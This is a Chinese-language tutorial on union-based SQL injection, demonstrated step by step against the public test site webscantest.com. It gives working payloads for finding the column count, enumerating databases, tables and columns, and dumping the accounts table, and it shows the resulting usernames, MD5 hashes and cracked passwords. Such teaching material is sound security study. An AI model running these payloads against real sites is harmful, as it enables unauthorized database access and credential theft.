数字型:
select * from table where id=8
字符型:
select * from table where username=‘admin’
sql注入语句:
select * from table where username=‘yiz and 1=1’
‘yiz and 1=1’ 当作字符查询了。
select * from table where username=‘yiz’ and 1=1’
数字型:
select * from table where id=1 select * from table where id=1 and 1=1 id=1 and 1=1 真 正常页面 id=1 and 1=2 假 页面错误
开发者只想让我们安装规定输入数字,1-2-n
但是极客想突破这个限制,想在查询id=1 可不可执行其它内容。
判断:
and 1=1 真
and 1=2 假
逻辑判断
程序运行过程中除了查询id=1 以为能不能执行我们用户想要执行内
容。
查询网站的后台登陆密码:
http://www.webscantest.com/datastore/search_by_
id.php
第一步 判断用户构造的语句是否被执行。
1 and 1=1
判断: and 1=1 真 and 1=2 假 逻辑判断
第二步 用户开始构造攻击语句。
1 order by 1,2,3
判断数据库列数
1 and 1 order by
数据库为4列
第三步 构造union 查询语句。
union select 1,2,3,4
1 and 1 union select 1,2,user(),4
user()作用 查询当前用户权限
webscantest@localhost
database() 查询当前数据库
1 and 1 union select 1,2,database(),4
当前数据库:webscantest
mysql或数据库中不只有一个网站数据库。
如何查询mysql下的所有数据库?
1 and 1 union select 1,2,group_concat(schema_name),4 from information_schema.schemata
schema_name 所有数据库
group_concat 查询结果以组的方式输出。
A数据库
表名
字段
字段内容===》账号密码。
B数据库
表名
字段
第四步 查询 数据库下的表
table_name 所有表名
table_schema 所有数据库名
1 and 1 union select 1,group_concat(table_name),3,4 from information_schema.tables where
table_schema=database()
//查询所有的数据库的表名,满足条件 数据库为:webscantest
accounts,inventory,orders,products
第五步 查询 数据库表下的字段。
column_name //所有的字段
1 and 1 union select 1,group_concat(column_name),3,4 from information_schema.columns where
table_name=‘accounts’
//查询所有的数据库的字段,满足条件 表名为: accounts
第六步 查询 数据库中字段的内容。
1 and 1 union select 1,group_concat(uname,0x3a,passwd),3,4 from webscantest.accounts
admin:21232f297a57a5a743894a0e4a801fc3,testuser:179ad45c6ce2cb97cf1029e212046e81
md5:21232f297a57a5a743894a0e4a801fc3
admin
md5:179ad45c6ce2cb97cf1029e212046e81
testpass